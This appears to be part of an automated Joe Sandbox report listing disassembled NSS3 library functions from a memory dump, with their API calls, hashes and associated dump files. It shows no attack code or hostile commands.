Instruction Fuzzy Hash: F91173B2A00706AFE7209E65DC85B86B3ACFB1435DF244939E91986A40F331E46487F2

Function 6CC608D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CC609B3,0000001A,?), ref: 6CC608E9

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CC608FD

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CC60939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC60953

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 7a45ba9baa854ffe8fe3abf60c6bea758eb5cc802bc3e6db0e12033e7fe5e024
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 30012BB16017462FFB049A379D90B67379A9F40218F00843DEC1BD5E41FB32D4148AA9

Function 6CC449C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48821
Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC4883D
Part of subcall function 6CC48800: EnterCriticalSection.KERNEL32(?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48856
Part of subcall function 6CC48800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC48887
Part of subcall function 6CC48800: PR_Unlock.NSS3(?,?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48899

PR_SetError.NSS3 ref: 6CC44A10
TlsGetValue.KERNEL32(6CC3781D,?,6CC2BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC44A24
EnterCriticalSection.KERNEL32(?,?,?,6CC2BD28,00CD52E8), ref: 6CC44A39
PR_Unlock.NSS3(?,?,?,?,6CC2BD28,00CD52E8), ref: 6CC44A4E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 094899ad2152bc63f7eb1baa5fde9c94365b61d89acc0acdc6bcb8bc6c26baaf
Instruction ID: 4979ce32b12e81d119b22b2dbbdf9943588231fba9f2f0e8395b4a29b1424f73
Opcode Fuzzy Hash: 094899ad2152bc63f7eb1baa5fde9c94365b61d89acc0acdc6bcb8bc6c26baaf
Instruction Fuzzy Hash: 292108B5A046008BEB00EF79C58496AB7F8FF55758B118929D9859BB01FB30E888CB91

Function 6CBEEAD0 Relevance: 6.1, APIs: 4, Instructions: 54networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6CBEEB13
htonl.WSOCK32(00000000,?), ref: 6CBEEB26
htons.WSOCK32(?), ref: 6CBEEB44
PR_GetCurrentThread.NSS3(?), ref: 6CBEEB58

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: htons$CurrentThreadhtonl
String ID:
API String ID: 2156189399-0
Opcode ID: d7eed1f87925d7af1be73a576d36de7574b4fbc32c185142934ef646521da901
Instruction ID: c8b2d3c64bb0085ee50e9a6d774e24b6f9c6c64af5602abdcd7e05e88756b050
Opcode Fuzzy Hash: d7eed1f87925d7af1be73a576d36de7574b4fbc32c185142934ef646521da901
Instruction Fuzzy Hash: 5511E621D247D193D3109F75894067A73B4FF99708F01AB0EE8CA47E61E7B0A0C0C395

Function 6CC18DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC18DE7
EnterCriticalSection.KERNEL32 ref: 6CC18DFC
PR_Unlock.NSS3 ref: 6CC18E2D
PR_SetError.NSS3 ref: 6CC18E49

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 306dda3f08e7b7cbbb2a09439674fc25c5e8ff6ceb34165531b9935568322537
Instruction ID: 5bf3b6fa409e496055feafc38ede6faa680504b2e20e9326f38331aceeae616b
Opcode Fuzzy Hash: 306dda3f08e7b7cbbb2a09439674fc25c5e8ff6ceb34165531b9935568322537
Instruction Fuzzy Hash: DC116A75609A009BD700BF79C4886AABBF4BF05714F42496AD98897B00FB30A8948BD2

Function 6CC9AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CC85F17,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CC85F17,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9ACDB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 0e0d365009c89c49de223cdc56804e5344877a112badee31a12a5dee78350c3e
Instruction ID: f2b2229df307a24c539c2ad5527bfe3052b9a679c0c4484c906d923be4e834ef
Opcode Fuzzy Hash: 0e0d365009c89c49de223cdc56804e5344877a112badee31a12a5dee78350c3e
Instruction Fuzzy Hash: 96019EB1A01B019BEB10EF29E909747B7E8BF80A99B104839D95ED7E00E731F018CB90

Function 6CC01DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CC01DFB

Part of subcall function 6CBF95B0: TlsGetValue.KERNEL32(00000000,?,6CC100D2,00000000), ref: 6CBF95D2
Part of subcall function 6CBF95B0: EnterCriticalSection.KERNEL32(?,?,?,6CC100D2,00000000), ref: 6CBF95E7
Part of subcall function 6CBF95B0: PR_Unlock.NSS3(?,?,?,?,6CC100D2,00000000), ref: 6CBF9605

PR_EnterMonitor.NSS3 ref: 6CC01E09

Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90AB
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90C9
Part of subcall function 6CCB9090: EnterCriticalSection.KERNEL32 ref: 6CCB90E5
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9116
Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB913F

Part of subcall function 6CBFE190: PR_EnterMonitor.NSS3(?,?,6CBFE175), ref: 6CBFE19C
Part of subcall function 6CBFE190: PR_EnterMonitor.NSS3(6CBFE175), ref: 6CBFE1AA
Part of subcall function 6CBFE190: PR_ExitMonitor.NSS3 ref: 6CBFE208
Part of subcall function 6CBFE190: PL_HashTableRemove.NSS3(?), ref: 6CBFE219
Part of subcall function 6CBFE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBFE231
Part of subcall function 6CBFE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBFE249
Part of subcall function 6CBFE190: PR_ExitMonitor.NSS3 ref: 6CBFE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC01E37
PR_ExitMonitor.NSS3 ref: 6CC01E4A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: a8bbae02d5bed2e489fd61a689633763ce89ccc665fb3097194277345b0abb1d
Instruction ID: 601e1999d941b29326e1d661c97d14fc041d68fd354d4d7585159c655500523e
Opcode Fuzzy Hash: a8bbae02d5bed2e489fd61a689633763ce89ccc665fb3097194277345b0abb1d
Instruction Fuzzy Hash: 87018471B4419097EB005F6EEC08F5EB778AB51B9CF500031EA2897B91F732E818CB91

Function 6CC488E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CC508AA,?), ref: 6CC488F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CC508AA,?), ref: 6CC4890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CC508AA,?), ref: 6CC48936
PR_Unlock.NSS3(?,?,?,?,?,6CC508AA,?), ref: 6CC48940

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: e86eb305e477f7aaf35ab338266763e55e0eb997aac3663a8b1dcaf18f4ce6c0
Instruction ID: 32e9b635c7d7b81b4ba5b7e1f213b1ac090bc365caa5b3eae113368cd352aaaa
Opcode Fuzzy Hash: e86eb305e477f7aaf35ab338266763e55e0eb997aac3663a8b1dcaf18f4ce6c0
Instruction Fuzzy Hash: DE015675604A459FDB00AF79C084659B7F8FF19398F058A6ADA84C7B01F730E494CBD2

Function 6CC9AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CC85D40,00000000,?,?,6CC76AC6,6CC8639C), ref: 6CC9AC2D

Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
Part of subcall function 6CC3ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
Part of subcall function 6CC3ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
Part of subcall function 6CC3ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9

PK11_FreeSymKey.NSS3(?,6CC85D40,00000000,?,?,6CC76AC6,6CC8639C), ref: 6CC9AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CC85D40,00000000,?,?,6CC76AC6,6CC8639C), ref: 6CC9AC59
free.MOZGLUE(8CB6FF01,6CC76AC6,6CC8639C,?,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC9AC62

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 23dda2436ed57c01807162af50ef1815ae917db2b9cc215df8c5f3694eee3b7f
Instruction ID: 48ab10c755c5131bdf7f8bea40af0b3397d6cd05277e130d9b466a797a35735b
Opcode Fuzzy Hash: 23dda2436ed57c01807162af50ef1815ae917db2b9cc215df8c5f3694eee3b7f
Instruction Fuzzy Hash: D5014BB5A006109FDF00DF55E8C0B467BA8AF84B5DF1880A8E9498F706E731E948CBA1

Function 6CC80840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD52F88,6CC80660,00000020,00000000,?,?,6CC82C3D,?,00000000,00000000,?,6CC82A28,00000060,00000001), ref: 6CC80860

Part of subcall function 6CB74C70: TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
Part of subcall function 6CB74C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
Part of subcall function 6CB74C70: PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6CC82C3D,?,00000000,00000000,?,6CC82A28,00000060,00000001), ref: 6CC80874
EnterCriticalSection.KERNEL32(00000001), ref: 6CC80884
PR_Unlock.NSS3 ref: 6CC808A3

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 6c3f114a3140324936b649b1759720dd3c5900bdc883b2df175cf468f221a30e
Instruction ID: c5dc00c8e93080c55c53a08a53fcb7a1e3cdb53fe751aa7f5ad95926868b9f9f
Opcode Fuzzy Hash: 6c3f114a3140324936b649b1759720dd3c5900bdc883b2df175cf468f221a30e
Instruction Fuzzy Hash: 84012071A022446BFB012F25FC459577F7CEB5631DF444165EE0851602FB2294988BE1

Function 6CD0CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CD0CC61
free.MOZGLUE ref: 6CD0CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CD0CC80
free.MOZGLUE(?), ref: 6CD0CC87

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: a1ed62d0cc51c02f721417702d2ca016904db78f66aab8cbf09f3e6e66ed89e3
Instruction ID: b5262a21c24caf35710288f6ba22dfefb2bdcbe1a710908c34023428f7035837
Opcode Fuzzy Hash: a1ed62d0cc51c02f721417702d2ca016904db78f66aab8cbf09f3e6e66ed89e3
Instruction Fuzzy Hash: D3E030767006089BDA10EFA8DC8489677ACEE892743154525E791C3700D231F905CBA1

Function 6CC44D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC44D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CC44DE6

Strings

%d.%d, xrefs: 6CC44DDE

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 6e357c819662ef69ff47ff137aec8ab305eaec5197832330e35a7b1fcecd8209
Instruction ID: 0a3903c5670e96c60cea776fe790fba530ed3b698be70f3dc5a32aeb26e5457a
Opcode Fuzzy Hash: 6e357c819662ef69ff47ff137aec8ab305eaec5197832330e35a7b1fcecd8209
Instruction Fuzzy Hash: 1331F8B2D002186BEB109FA1DC01BFF7768EF40308F118469ED199B781FB709905CBA1

Function 6CCE0900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6CCE0917
sqlite3_value_text.NSS3(?), ref: 6CCE0923

Part of subcall function 6CBA13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CB72352,?,00000000,?,?), ref: 6CBA1413
Part of subcall function 6CBA13C0: memcpy.VCRUNTIME140(00000000,6CB72352,00000002,?,?,?,?,6CB72352,?,00000000,?,?), ref: 6CBA14C0

Strings

error in %s %s%s%s: %s, xrefs: 6CCE0944

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: f38a7aaa96b8d8bebbd74dd0c6e399da6fc84199b7621c07e61b65f1fac5bb9c
Instruction ID: 54d2648283d4fa9ef3d0ae9aa771aa2581345637e5afd45da83d1093e97ede3d
Opcode Fuzzy Hash: f38a7aaa96b8d8bebbd74dd0c6e399da6fc84199b7621c07e61b65f1fac5bb9c
Instruction Fuzzy Hash: E101E5B6E001489BE7009F58EC419BE77B9EFC5258F144029ED486B712F732A91487E2

Function 6CC8AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CC8AF78

Part of subcall function 6CBEACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEACE2
Part of subcall function 6CBEACC0: malloc.MOZGLUE(00000001), ref: 6CBEACEC
Part of subcall function 6CBEACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBEAD02
Part of subcall function 6CBEACC0: TlsGetValue.KERNEL32 ref: 6CBEAD3C
Part of subcall function 6CBEACC0: calloc.MOZGLUE(00000001,?), ref: 6CBEAD8C
Part of subcall function 6CBEACC0: PR_Unlock.NSS3 ref: 6CBEADC0
Part of subcall function 6CBEACC0: PR_Unlock.NSS3 ref: 6CBEAE8C
Part of subcall function 6CBEACC0: free.MOZGLUE(?), ref: 6CBEAEAB

memcpy.VCRUNTIME140(6CD53084,6CD502AC,00000090), ref: 6CC8AF94

Strings

SSL, xrefs: 6CC8AF73

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 5cb993ad6deb97a1fb47e10da437e55ae5fc04e8bd02b2e2df8648feee155c91
Instruction ID: b09a2673221f50619ef4f90996abb40ee63dd08972c431e95f53cc143f060460
Opcode Fuzzy Hash: 5cb993ad6deb97a1fb47e10da437e55ae5fc04e8bd02b2e2df8648feee155c91
Instruction Fuzzy Hash: A82149B2306B48ABEA41DF59A963317BE78B34269C790560CD3084BF76E73180589FD5

Function 6CBE0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B

Part of subcall function 6CBE1370: GetSystemInfo.KERNEL32(?,?,?,?,6CBE0936,?,6CBE0F20,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000), ref: 6CBE138F

PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

Part of subcall function 6CBE1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CBE0936,00000001,00000040), ref: 6CBE1130
Part of subcall function 6CBE1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBE0936,00000001,00000040), ref: 6CBE1142
